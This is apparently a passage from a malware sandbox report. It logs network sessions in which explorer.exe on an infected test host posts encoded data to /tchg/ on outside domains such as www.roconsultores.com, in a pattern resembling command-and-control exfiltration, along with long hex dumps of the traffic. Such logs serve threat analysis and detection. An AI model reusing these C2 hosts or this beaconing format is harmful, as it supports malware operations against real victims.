b5 ee b1 6f c3 9d 41 ea d2 de f8 71 1c 86 cc 4b a5 ed c9 0e 80 c3 17 2f 5e b4 f7 7a fe d0 50 09 9d 9f f4 50 f7 60 f9 e4 31 50 a4 50 19 ca a4 c2 25 4a 5e 56 79 c0 98 67 3a 3a 3c e4 73 d0 7d e2 12 9d 00 7f ac 8f 9f 6b 39 3d e9 9d 92 76 a8 5d ff b6 a9 b0 07 49 fb 76 d2 73 38 77 91 1f 3e 82 a4 10 c6 a2 3b a9 5d d6 ff b5 07 d1 1a 9a 93 4e e1 f8 f8 e0 18 fa 70 f5 f2 b7 33 78 7f 79 0b e7 97 1f de bf 8e a3 76 ef f1 e3 47 fc 89 7f e8 f7 e1 65 9a c2 8d 92 29 c2 65 ed 2c f4 fb e3 76 cf 26 46 56 0e ac 49 96 02 12 4a 71 f0 c7 e7 1a 4d 33 48 a8 8c da c7 fe d1 e0 68 70 38 28 a5 1e fc 61 7b e3 38 6a 6f 8e 17 74 1e c2 45 49 2e fb b6 b1 d1 1f 36 b2 b2 ac 14 f6 71 5e 09 9d 3e 04 59 8a 5a a9 b3 ae 51 08 8e 8d e9 fc 48 ac 5d f3 72 42 69 73 5f 89 34 95 3a 1f 1e 8c 4a 61 72 a9 f9 21 63 0f fb 99 28 a5 6a 86 05 aa 29 3a 99 88 d1 9f cb 7b 7b de 64 21 35 9a fb ee ce cf 07 d5 1c 44 ed 68 34 93 a9 2b 86 bf fe f2 6b 35 df 79 03 f6 1c 55 ec f7 fd 44 24 77 b9 a1 5a a7 7d 59 8a 1c 87 b5 51 4f 9f 2c f5 86 35 1b f1 49 3e ff 69 36 f8 a3 ca 9f 3c 1b ad 5d 32 58 a1 70 43 4d dd d3 c6 e4 02 65 5e b8 e1 e1 57 68 94 32 fd 2e 1a 7c 7e 90 cb 6c 27 89 f6 a7 df 7c 83 fa 76 2c ec e5 c2 91 99 90 73 54 de 57 64 a5 93 a4 19 47 09 27 a7 38 52 98 b9 e1 d1 0b 46 c9 14 f1 00 ff fe 4f 00 e7 f3 f9 fd da e1 45 ac c7 3e 99 a3 17 ff c6 df 87 fc 38 82 2e b1 90 56 fb d5 3f 5c a4 f7 f5 09 7e 09 b5 5b 9f e2 4b d5 17 4a e6 7a 98 f0 16 9a ef 70 a0 83 83 3d 34 86 4c 42 29 de 87 e2 59 f9 0f 1c 1e 79 ae e1 75 d6 46 f9 eb c1 c1 b7 e2 4d 84 de ae e6 01 ff fb d6 eb 05 59 87 e9 a4 b9 df 1e bf 62 f7 f3 f3 05 3b eb 1a 85 43 e9 d8 83 64 b4 35 f1 5b 07 26 54 57 a4 ef 13 52 64 86 7b 2f 5f 1d 1c 6c 0e fb 79 e7 b0 6f 04 cf d1 59 27 0c 2b 02 f1 c5 11 47 87 3b 47 fc 8b fe af 8d 5c 84 e0 fd 3f 7a fe c5 4a 4c c8 39 2a 19 e5 7e 22 92 bb dc 50 ad d3 be 2c 45 8e c3 da a8 a7 4f a2 24 97 7d db d8 28 ac d9 88 4f b6 57 06 b9 cc 9e 3c 1b ad dd 32 58 21 b7 53 53 f7 b4 51 c8 a2 d5 72 78 fc ed e5 cc c4 e7 4f ab fd 85 1e 78 1e 22 0e df 23 a8 44 9a 4a 9d 0f e1 b0 4d be fd 19 41 a2 50 98 21 33 2d be 75 9a 48 12 32 a9 e4 36 ac c2 81 17 07 3f 8e a0 95 01 bf 3c 67 ec 11 94 52 f7 3b 31 3c ad 5d ea 98 1d 80 a8 1d 8d c0 e1 dc f5 39 c6 9c d7 12 06 47 f3 dd 24 a0 56 70 bf 8e a3 30 73 df 8f 42 bb 51 1e 3d fa 66 04 25 61 db 90 ef 66 51 6d 42 3c ff 71 d3 a2 7f 4d 5a 71 d4 a1 ce ba 30 26 a4 d2 ef d3 56 1c ef 82 80 96 ab 6b 14 93 95 8e 49 26 3b f9 fa 41 83 05 ea 7d 2a 6d a5 44 33 d4 a4 71 b1 99 49 63 79 2b 21 45 66 c8 7d ce 7e f9 e5 e0 60 b1 69 91 ef a6 ab dd a3 c9 f3 17 2f 7e 5d ec ba 42 9a b5 cd c3 17 bf 26 87 Data Ascii: RmssgJ&av$NmRmHInM=_cpw~y3(\G(z}[832qQtjEl0;hQoAqK/^zPP`1PP%J^Vyg::<s}k9=v]Ivs8w>;]Np3xyvGe)e,v&FVIJqM3Hhp8(a{8jotEI.6q^>YZQH]rBis_4:Jar!c(j):{{d!5Dh4+k5yUD$wZ}YQO,5I>i6<]2XpCMe^Wh2.\|~l'\|v,sTWdG'8RFOE>8.V?\~[KJzp=4LB)YyuFMYb;Cd5[&TWRd{/_lyoY'+G;G\?zJL9~"P,EO$}(OW<2X!SSQrxOx"#DJMAP!3-uH26?<gR;1<]9G$Vp0sBQ=f%afQmB<qMZq0&VkI&;A}mD3qIcy+!Ef}~`i/~]B&
May 30, 2023 11:10:09.841666937 CEST	874	IN	Data Raw: 2f 56 43 53 84 7b 98 88 e4 2e 37 54 eb b4 bf 38 87 cf fd bf 11 0b 31 29 f2 c2 cf d5 1c 2c 29 99 f2 56 8a 87 e9 e1 08 2a 91 a6 52 e7 43 78 ce 7b 6b 7f 5f d6 68 0b 54 ea fe 21 64 6e 44 33 da c1 62 a2 78 69 04 dd db ac 90 0e bf 1a 78 1c 05 b3 c7 cb Data Ascii: /VCS{.7T81),)VRCx{k_hT!dnD3bxixqTHr2=-c/7UtoGc-'9_e$'(e66FANz=86CG]__^g^v/o[[iG^6\|h7+(Dk3Aa0;
May 30, 2023 11:10:09.841726065 CEST	875	IN	Data Raw: c9 54 67 1a 30 2b f3 7c c0 9d 7f 7e 40 28 27 a3 a2 c2 c4 c1 7f 48 9c c1 95 9f 7b a1 33 da 0f 6a 73 72 14 8e bf c3 54 0a b8 15 93 4d 85 8f e2 89 a2 e4 ee 73 4d dc 93 44 09 6b 3d bb 14 7b e3 c2 b9 6a 18 2d da 1c 9a 9d e4 b2 6f 1b 1b 85 7c 6d 34 61 Data Ascii: Tg0+\|~@('H{3jsrTMsMDk={j-o\|m4aG+.<W6CYkGm^jTRm=9tMj=;74O'y'*22m=3}J'5Ks]lT:_0Y26F8InG.6_dzUZq4"s5R4=(f'{c8
May 30, 2023 11:10:09.841778994 CEST	876	IN	Data Raw: fb f0 37 a2 52 89 70 e5 1d 57 4f fb 7e a6 e9 fa a0 ae 62 ab 21 d6 2f 10 97 72 01 9f 08 bd 14 f9 40 e3 85 f3 fd ae 88 fb cd ed 6c 9d f6 05 2d 45 03 1a db 0a fb ea 6c 0d 09 c9 f1 51 4b be d9 24 b5 db 67 c9 06 a6 de f8 da b2 59 c2 7a 4b 6f 0b 46 b7 Data Ascii: 7RpWO~b!/r@l-ElQK$gYzKoFfKl]DX>+5Oj<u.K!t[EVdpiJ<8)3~(9szG\|o(X\v#S3fuHpi"S)*f.Tr#'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49763	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:11.585890055 CEST	279	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4a 66 36 71 42 64 64 50 7e 53 4a 6f 35 7a 59 50 50 59 78 42 54 70 4b 48 38 73 4b 57 73 2d 76 6c 4c 4b 71 38 6c 6e 4c 51 50 5a 33 76 28 61 38 32 38 6c 56 6d 37 39 48 72 6d 6d 54 56 30 61 58 56 33 32 65 48 54 70 73 49 77 77 7e 37 4c 36 72 31 46 59 63 35 55 63 71 4e 72 6d 68 33 51 67 46 55 48 43 45 65 70 54 79 54 55 31 55 30 45 57 56 61 74 73 42 4d 64 52 39 33 67 64 62 65 4a 68 53 30 7e 4f 45 33 6d 61 6a 69 6e 37 64 66 46 4c 32 42 31 49 61 51 51 7a 45 73 4a 59 4c 6e 4a 54 30 69 6b 67 6f 34 45 6a 50 49 67 67 66 79 6f 46 54 5f 30 36 32 56 4d 67 68 36 31 39 75 6d 75 56 39 62 51 66 78 5a 51 50 56 5a 4a 50 69 65 43 62 4c 41 63 6c 63 31 46 63 62 35 6e 78 7a 52 54 38 63 44 6a 59 64 44 68 44 4b 5f 57 6a 7a 42 6f 65 41 57 6c 70 45 46 4b 55 46 75 31 4b 48 50 70 7a 4b 33 28 67 33 62 71 71 66 55 4a 77 50 73 45 57 69 33 4d 63 44 6a 6e 6b 34 4e 47 73 32 45 71 6d 36 6d 7e 52 68 49 4d 53 41 38 4a 6d 70 5a 4d 41 30 47 50 32 58 78 48 54 62 6c 74 6a 6a 30 53 45 7e 36 56 4f 59 68 4f 5f 7a 61 66 69 34 52 51 52 7e 33 76 66 51 4e 37 6d 31 45 76 77 6f 67 49 59 70 4c 53 33 6c 42 57 65 32 4d 66 48 4e 46 51 7a 54 39 52 44 74 41 30 57 7a 6d 51 4c 39 61 4f 74 45 59 4d 6b 55 77 47 31 53 77 44 6c 6e 71 37 69 5a 63 79 46 36 7a 65 6c 28 6e 70 76 71 63 30 58 48 32 36 41 65 45 64 64 55 67 73 74 71 6d 56 48 33 37 44 5f 79 6e 33 78 45 59 59 33 77 68 72 64 47 35 61 59 4c 4e 35 38 64 7a 6b 61 51 32 69 55 68 53 44 32 48 6b 48 38 57 75 32 4d 59 43 68 38 49 38 57 6c 35 58 4c 44 6b 49 52 4e 6b 6d 4b 41 35 69 51 5a 4a 57 4c 69 4a 30 28 41 6b 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=OLHqfGxlEzJpJf6qBddP~SJo5zYPPYxBTpKH8sKWs-vlLKq8lnLQPZ3v(a828lVm79HrmmTV0aXV32eHTpsIww~7L6r1FYc5UcqNrmh3QgFUHCEepTyTU1U0EWVatsBMdR93gdbeJhS0~OE3majin7dfFL2B1IaQQzEsJYLnJT0ikgo4EjPIggfyoFT_062VMgh619umuV9bQfxZQPVZJPieCbLAclc1Fcb5nxzRT8cDjYdDhDK_WjzBoeAWlpEFKUFu1KHPpzK3(g3bqqfUJwPsEWi3McDjnk4NGs2Eqm6m~RhIMSA8JmpZMA0GP2XxHTbltjj0SE~6VOYhO_zafi4RQR~3vfQN7m1EvwogIYpLS3lBWe2MfHNFQzT9RDtA0WzmQL9aOtEYMkUwG1SwDlnq7iZcyF6zel(npvqc0XH26AeEddUgstqmVH37D_yn3xEYY3whrdG5aYLN58dzkaQ2iUhSD2HkH8Wu2MYCh8I8Wl5XLDkIRNkmKA5iQZJWLiJ0(Ak.
May 30, 2023 11:08:11.625941992 CEST	280	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:08:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	49799	162.215.249.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:12.358854055 CEST	878	OUT	POST /tchg/ HTTP/1.1 Host: www.roconsultores.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.roconsultores.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.roconsultores.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4d 4c 47 71 50 59 64 66 44 30 37 75 28 4b 53 58 28 68 45 33 41 45 4f 78 76 67 7e 38 69 2d 38 74 47 47 72 56 47 61 53 78 77 41 49 74 37 33 44 42 64 76 59 53 6d 5f 58 71 79 42 76 53 30 45 4a 46 4e 49 59 68 63 4a 7e 36 53 46 54 46 46 64 63 45 71 50 70 6b 45 59 76 41 6d 35 45 51 6f 33 77 6f 50 46 57 31 67 45 35 57 48 30 75 6e 4c 7a 51 43 72 37 70 2d 62 55 4a 49 69 62 76 63 7e 34 46 2d 76 6b 7e 37 48 44 6b 36 50 55 28 4b 6f 53 55 7a 28 54 6c 66 62 43 44 51 34 35 7a 6e 70 61 30 6d 55 56 30 35 52 67 6c 4a 65 64 54 68 72 46 56 6d 50 70 36 5f 6f 6a 54 68 79 33 47 6f 32 4b 57 7a 37 65 59 50 55 70 37 59 68 4d 7e 43 6a 75 30 62 38 69 53 56 57 45 4f 72 6f 56 76 66 4b 4b 53 34 66 52 61 70 76 66 51 6d 47 6d 79 68 42 68 78 45 6e 30 41 39 48 46 6a 52 6d 68 28 35 79 32 70 4a 64 6a 72 57 51 56 7e 55 4b 64 58 44 5a 77 61 74 71 76 71 76 68 6c 36 51 70 47 65 39 77 43 62 37 65 72 53 72 6b 57 4f 62 41 52 70 39 28 65 4c 32 4c 47 4a 50 59 45 54 51 45 36 4e 4c 68 55 53 7a 58 41 45 54 6c 42 50 46 4f 39 6b 75 62 4a 51 59 42 5a 38 7a 70 66 68 45 68 76 34 4a 77 53 48 6f 62 73 65 50 66 5a 57 66 32 74 69 58 64 4e 31 5a 43 4b 42 36 59 6e 45 32 48 61 4a 58 32 76 47 63 76 75 28 70 4d 32 42 34 73 33 55 42 62 39 4a 42 36 59 67 30 47 39 38 36 4f 72 71 4a 33 61 4e 5f 5a 6b 63 71 74 57 34 78 52 49 42 63 46 57 37 73 71 56 63 32 4a 33 78 58 48 52 44 6b 50 72 35 77 75 63 68 73 47 75 53 63 42 34 34 5a 69 35 66 4b 38 49 78 50 43 31 65 70 31 65 61 4b 30 72 6b 75 4e 5f 76 6e 77 37 52 57 7a 6e 4f 39 73 4c 4f 55 49 6d 36 46 69 75 44 37 75 66 57 73 43 63 4e 55 59 30 4e 58 7e 70 77 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=MLGqPYdfD07u(KSX(hE3AEOxvg~8i-8tGGrVGaSxwAIt73DBdvYSm_XqyBvS0EJFNIYhcJ~6SFTFFdcEqPpkEYvAm5EQo3woPFW1gE5WH0unLzQCr7p-bUJIibvc~4F-vk~7HDk6PU(KoSUz(TlfbCDQ45znpa0mUV05RglJedThrFVmPp6_ojThy3Go2KWz7eYPUp7YhM~Cju0b8iSVWEOroVvfKKS4fRapvfQmGmyhBhxEn0A9HFjRmh(5y2pJdjrWQV~UKdXDZwatqvqvhl6QpGe9wCb7erSrkWObARp9(eL2LGJPYETQE6NLhUSzXAETlBPFO9kubJQYBZ8zpfhEhv4JwSHobsePfZWf2tiXdN1ZCKB6YnE2HaJX2vGcvu(pM2B4s3UBb9JB6Yg0G986OrqJ3aN_ZkcqtW4xRIBcFW7sqVc2J3xXHRDkPr5wuchsGuScB44Zi5fK8IxPC1ep1eaK0rkuN_vnw7RWznO9sLOUIm6FiuD7ufWsCcNUY0NX~pw.
May 30, 2023 11:10:12.534517050 CEST	879	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:10:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 23 Apr 2019 07:54:14 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4677 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 52 6d 73 d3 c8 96 fe 0c bf e2 8c 73 67 80 aa d8 4a 26 61 76 b0 15 df 82 90 0c b9 05 24 9b 84 e5 4e 6d ed 52 6d e9 48 ea 49 ab 8f e8 6e d9 d6 4d cd fe f6 3d dd 92 5f 63 b8 70 77 0d b1 a5 7e 79 ce f3 16 ff f0 fa f2 f4 f6 f7 ab 33 28 5c a9 e0 ea c3 ab b7 17 a7 d0 eb 47 d1 c7 a3 d3 28 7a 7d fb 1a fe fe e6 f6 dd 5b 38 1c 1c c0 8d 33 32 71 51 74 f6 be 07 bd c2 b9 6a 18 45 b3 d9 6c 30 3b 1a 90 c9 a3 db eb 68 ee 51 0e fd b5 ee b1 6f c3 9d 41 ea d2 de f8 71 1c 86 cc 4b a5 ed c9 0e 80 c3 17 2f 5e b4 f7 7a fe d0 50 09 9d 9f f4 50 f7 60 f9 e4 31 50 a4 50 19 ca a4 c2 25 4a 5e 56 79 c0 98 67 3a 3a 3c e4 73 d0 7d e2 12 9d 00 7f ac 8f 9f 6b 39 3d e9 9d 92 76 a8 5d ff b6 a9 b0 07 49 fb 76 d2 73 38 77 91 1f 3e 82 a4 10 c6 a2 3b a9 5d d6 ff b5 07 d1 1a 9a 93 4e e1 f8 f8 e0 18 fa 70 f5 f2 b7 33 78 7f 79 0b e7 97 1f de bf 8e a3 76 ef f1 e3 47 fc 89 7f e8 f7 e1 65 9a c2 8d 92 29 c2 65 ed 2c f4 fb e3 76 cf 26 46 56 0e ac 49 96 02 12 4a 71 f0 c7 e7 1a 4d 33 48 a8 8c da c7 fe d1 e0 68 70 38 28 a5 1e fc 61 7b e3 38 6a 6f 8e 17 74 1e c2 45 49 2e fb b6 b1 d1 1f 36 b2 b2 ac 14 f6 71 5e 09 9d 3e 04 59 8a 5a a9 b3 ae 51 08 8e 8d e9 fc 48 ac 5d f3 72 42 69 73 5f 89 34 95 3a 1f 1e 8c 4a 61 72 a9 f9 21 63 0f fb 99 28 a5 6a 86 05 aa 29 3a 99 88 d1 9f cb 7b 7b de 64 21 35 9a fb ee ce cf 07 d5 1c 44 ed 68 34 93 a9 2b 86 bf fe f2 6b 35 df 79 03 f6 1c 55 ec f7 fd 44 24 77 b9 a1 5a a7 7d 59 8a 1c 87 b5 51 4f 9f 2c f5 86 35 1b f1 49 3e ff 69 36 f8 a3 ca 9f 3c 1b ad 5d 32 58 a1 70 43 4d dd d3 c6 e4 02 65 5e b8 e1 e1 57 68 94 32 fd 2e 1a 7c 7e 90 cb 6c 27 89 f6 a7 df 7c 83 fa 76 2c ec e5 c2 91 99 90 73 54 de 57 64 a5 93 a4 19 47 09 27 a7 38 52 98 b9 e1 d1 0b 46 c9 14 f1 00 ff fe 4f 00 e7 f3 f9 fd da e1 45 ac c7 3e 99 a3 17 ff c6 df 87 fc 38 82 2e b1 90 56 fb d5 3f 5c a4 f7 f5 09 7e 09 b5 5b 9f e2 4b d5 17 4a e6 7a 98 f0 16 9a ef 70 a0 83 83 3d 34 86 4c 42 29 de 87 e2 59 f9 0f 1c 1e 79 ae e1 75 d6 46 f9 eb c1 c1 b7 e2 4d 84 de ae e6 01 ff fb d6 eb 05 59 87 e9 a4 b9 df 1e bf 62 f7 f3 f3 05 3b eb 1a 85 43 e9 d8 83 64 b4 35 f1 5b 07 26 54 57 a4 ef 13 52 64 86 7b 2f 5f 1d 1c 6c 0e fb 79 e7 b0 6f 04 cf d1 59 27 0c 2b 02 f1 c5 11 47 87 3b 47 fc 8b fe af 8d 5c 84 e0 fd 3f 7a fe c5 4a 4c c8 39 2a 19 e5 7e 22 92 bb dc 50 ad d3 be 2c 45 8e c3 da a8 a7 4f a2 24 97 7d db d8 28 ac d9 88 4f b6 57 06 b9 cc 9e 3c 1b ad dd 32 58 21 b7 53 53 f7 b4 51 c8 a2 d5 72 78 fc ed e5 cc c4 e7 4f ab fd 85 1e 78 1e 22 0e df 23 a8 44 9a 4a 9d 0f e1 b0 4d be fd 19 41 a2 50 98 21 33 2d be 75 9a 48 12 32 a9 e4 36 ac c2 81 17 07 3f 8e a0 95 01 bf 3c 67 ec 11 94 52 f7 3b 31 3c ad 5d ea 98 1d 80 a8 1d 8d c0 e1 dc f5 39 c6 9c d7 12 06 47 f3 dd 24 a0 56 70 bf 8e a3 30 73 df 8f 42 bb 51 1e 3d fa 66 04 25 61 db 90 ef 66 51 6d 42 3c ff 71 d3 a2 7f 4d 5a 71 d4 a1 ce ba 30 26 a4 d2 ef d3 56 1c ef 82 80 96 ab 6b 14 93 95 8e 49 26 3b f9 fa 41 83 05 ea 7d 2a 6d a5 44 33 d4 a4 71 b1 99 49 63 79 2b 21 45 66 c8 7d ce 7e f9 e5 e0 60 b1 69 91 ef a6 ab dd a3 c9 f3 17 2f 7e 5d ec ba 42 9a b5 cd c3 17 bf 26 87 Data Ascii: RmssgJ&av$NmRmHInM=_cpw~y3(\G(z}[832qQtjEl0;hQoAqK/^zPP`1PP%J^Vyg::<s}k9=v]Ivs8w>;]Np3xyvGe)e,v&FVIJqM3Hhp8(a{8jotEI.6q^>YZQH]rBis_4:Jar!c(j):{{d!5Dh4+k5yUD$wZ}YQO,5I>i6<]2XpCMe^Wh2.\|~l'\|v,sTWdG'8RFOE>8.V?\~[KJzp=4LB)YyuFMYb;Cd5[&TWRd{/_lyoY'+G;G\?zJL9~"P,EO$}(OW<2X!SSQrxOx"#DJMAP!3-uH26?<gR;1<]9G$Vp0sBQ=f%afQmB<qMZq0&VkI&;A}mD3qIcy+!Ef}~`i/~]B&
May 30, 2023 11:10:12.534601927 CEST	880	IN	Data Raw: 2f 56 43 53 84 7b 98 88 e4 2e 37 54 eb b4 bf 38 87 cf fd bf 11 0b 31 29 f2 c2 cf d5 1c 2c 29 99 f2 56 8a 87 e9 e1 08 2a 91 a6 52 e7 43 78 ce 7b 6b 7f 5f d6 68 0b 54 ea fe 21 64 6e 44 33 da c1 62 a2 78 69 04 dd db ac 90 0e bf 1a 78 1c 05 b3 c7 cb Data Ascii: /VCS{.7T81),)VRCx{k_hT!dnD3bxixqTHr2=-c/7UtoGc-'9_e$'(e66FANz=86CG]__^g^v/o[[iG^6\|h7+(Dk3Aa0;
May 30, 2023 11:10:12.534667015 CEST	882	IN	Data Raw: c9 54 67 1a 30 2b f3 7c c0 9d 7f 7e 40 28 27 a3 a2 c2 c4 c1 7f 48 9c c1 95 9f 7b a1 33 da 0f 6a 73 72 14 8e bf c3 54 0a b8 15 93 4d 85 8f e2 89 a2 e4 ee 73 4d dc 93 44 09 6b 3d bb 14 7b e3 c2 b9 6a 18 2d da 1c 9a 9d e4 b2 6f 1b 1b 85 7c 6d 34 61 Data Ascii: Tg0+\|~@('H{3jsrTMsMDk={j-o\|m4aG+.<W6CYkGm^jTRm=9tMj=;74O'y'*22m=3}J'5Ks]lT:_0Y26F8InG.6_dzUZq4"s5R4=(f'{c8
May 30, 2023 11:10:12.534722090 CEST	883	IN	Data Raw: fb f0 37 a2 52 89 70 e5 1d 57 4f fb 7e a6 e9 fa a0 ae 62 ab 21 d6 2f 10 97 72 01 9f 08 bd 14 f9 40 e3 85 f3 fd ae 88 fb cd ed 6c 9d f6 05 2d 45 03 1a db 0a fb ea 6c 0d 09 c9 f1 51 4b be d9 24 b5 db 67 c9 06 a6 de f8 da b2 59 c2 7a 4b 6f 0b 46 b7 Data Ascii: 7RpWO~b!/r@l-ElQK$gYzKoFfKl]DX>+5Oj<u.K!t[EVdpiJ<8)3~(9szG\|o(X\v#S3fuHpi"S)*f.Tr#'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	49800	162.215.249.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:15.046648979 CEST	892	OUT	POST /tchg/ HTTP/1.1 Host: www.roconsultores.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.roconsultores.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.roconsultores.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4d 4c 47 71 50 59 64 66 44 30 37 75 28 4b 53 58 28 68 45 33 41 45 4f 78 76 67 7e 38 69 2d 38 74 47 47 72 56 47 61 53 78 77 42 77 74 37 69 58 42 62 4d 77 53 6e 5f 58 71 28 68 76 66 30 45 49 48 4e 49 41 6c 63 4a 6a 48 53 48 72 46 46 4f 6b 45 71 64 42 6b 4f 34 76 42 34 4a 45 6f 69 58 77 30 50 46 53 68 67 45 64 6f 48 6e 79 6e 4b 7a 67 43 38 71 70 78 42 6b 4a 30 69 62 75 4f 30 59 46 32 76 6b 37 2d 48 44 34 36 50 53 33 4b 36 55 51 7a 7a 67 4e 66 59 69 44 66 79 5a 7a 34 28 71 30 54 55 56 68 41 52 67 6c 5a 65 63 58 68 72 43 68 6d 4f 71 69 38 78 44 54 68 37 58 47 6e 68 61 61 33 37 65 31 53 55 70 28 59 68 4c 43 43 69 4f 30 62 70 78 4b 61 62 30 4f 58 73 56 76 49 4f 4c 75 77 66 52 7e 6c 76 64 63 6d 42 57 32 68 44 53 70 45 72 77 73 39 4f 46 6a 58 6f 42 28 71 34 57 70 56 64 6c 4c 73 51 55 66 76 4b 65 37 44 5a 53 53 74 76 4e 4f 73 31 31 36 53 6c 6d 65 7a 30 43 48 6e 65 76 33 79 6b 57 4f 4c 41 55 52 39 28 76 37 32 4b 44 39 4d 49 6b 54 4c 64 4b 4e 6b 72 78 4b 70 58 41 49 62 6c 46 4c 56 4f 36 55 75 62 70 51 59 58 4b 55 30 6e 76 68 44 38 5f 34 68 39 79 48 42 62 73 61 70 66 59 54 69 33 63 65 58 63 35 5a 5a 54 4b 42 35 4b 58 45 36 4f 36 4a 52 79 76 47 63 76 75 7a 63 4d 32 4e 34 76 48 63 42 61 4b 31 42 34 4c 34 30 4b 64 38 38 4f 72 71 59 33 61 42 4d 5a 6b 55 31 74 57 4a 65 52 4c 74 63 45 44 54 73 6e 30 63 78 43 6e 78 53 57 68 44 7a 51 62 30 6d 75 63 39 6b 47 75 69 54 42 4f 73 5a 6a 35 50 4b 75 34 78 4d 54 6c 65 69 79 65 61 41 35 4c 70 78 4e 2d 47 63 77 37 56 38 7a 6e 6d 39 70 38 75 4d 51 48 36 41 28 65 61 53 6d 35 65 4a 44 5f 31 6d 4c 48 35 66 67 35 66 48 39 36 74 54 52 6d 72 33 4d 78 46 56 79 79 33 71 79 50 44 5f 48 65 6e 49 34 47 7e 61 78 32 7e 47 6d 31 63 30 37 7a 51 44 68 48 28 4a 61 54 66 31 6a 38 6c 64 64 76 77 34 4d 46 46 34 78 49 41 75 50 48 62 77 4e 6a 6e 69 71 6e 6a 6b 61 55 33 76 69 37 46 77 4c 65 35 43 44 51 6b 75 63 46 73 77 41 4d 41 74 33 79 70 49 6e 63 59 39 54 4e 34 38 6b 55 6a 79 53 63 72 46 59 74 6a 59 5a 78 42 67 6e 5a 73 4b 57 59 51 52 58 72 33 66 51 4c 47 38 64 53 75 4a 55 33 37 4e 6e 42 48 2d 73 53 77 43 6e 5a 66 43 4d 41 36 44 33 54 66 54 70 77 6a 4b 46 31 77 71 7e 6e 4e 51 6e 4b 62 77 79 79 57 54 45 70 46 47 30 30 6b 33 65 64 4c 46 6d 4f 48 43 46 79 4f 65 41 68 68 41 41 2d 58 33 35 42 75 38 34 38 77 2d 6e 36 44 4b 36 75 53 6f 37 4d 31 6d 54 49 67 4e 49 71 76 64 49 33 62 44 34 66 68 70 52 65 7e 62 4d 5a 42 62 66 58 7a 62 47 6b 45 47 33 69 47 33 28 57 79 38 28 30 36 4a 6c 66 58 67 30 47 42 41 34 4b 7e 4a 50 4b 61 4c 77 71 33 43 37 6a 4d 37 7a 4f 33 66 6e 65 4f 62 74 43 52 65 70 38 44 35 65 56 55 49 63 41 4c 6d 4c 4d 6e 69 70 54 7a 4f 5a 6a 43 71 49 6e 43 35 4b 61 6e 73 42 73 46 59 57 68 41 31 6e 4f 79 34 72 54 73 68 32 42 4c 50 56 37 41 52 28 5a 43 59 4f 33 56 4e 64 48 6a 35 72 47 50 59 73 72 59 31 53 7a 34 7a 30 62 5a 53 63 6b 75 62 43 35 5a 36 6e 4b 36 30 56 63 58 44 6f 49 37 4f 61 54 4d 36 74 6d 52 74 5a 71 58 67 46 42 43 36 47 4a 51 4d 5a 46 44 54 35 48 75 78 5a 30 55 67 65 32 67 2d 34 5f 54 6c 74 30 71 7a 73 68 6c 4f 4e 5f 34 75 75 75 49 48 28 30 31 56 4f 71 37 34 35 66 55 34 6b 52 6f 64 64 6f 64 55 58 58 66 50 79 45 6d 36 4e 62 38 63 41 35 6a 70 41 70 32 55 41 6f 4d 58 7a 6b 57 7a 44 45 63 58 53 4e 74 61 56 30 62 5a 4b 76 55 71 46 65 53 4d 4a 4e 31 35 54 4f 70 51 6f 5a 38 77 68 73 57 67 45 45 44 65 58 7a 72 6d 57 31 53 44 4d 78 6a 46 7a 43 77 42 4f 71 72 6d 7a 4c 5a 54 49 59 54 6b 56 47 32 55 58 47 63 51 7a 70 55 4b 57 46 38 6e 4a 55 57 51 74 65 50 6e 37 46 31 45 43 4c 4d 64 54 33 38 6f 6a 6f 4a 73 31 34 54 79 51 79 55 33 58 6d 45 50 66 69 79 64 31 47 56 49 58 77 4a 34 32 45 66 47 63 59 42 75 6a 43 74 42 46 4e 59 6d 4e 4d 74 38 56 67 4d 4d 77 44 50 5f 43 2d 48 5a 56 73 28 62 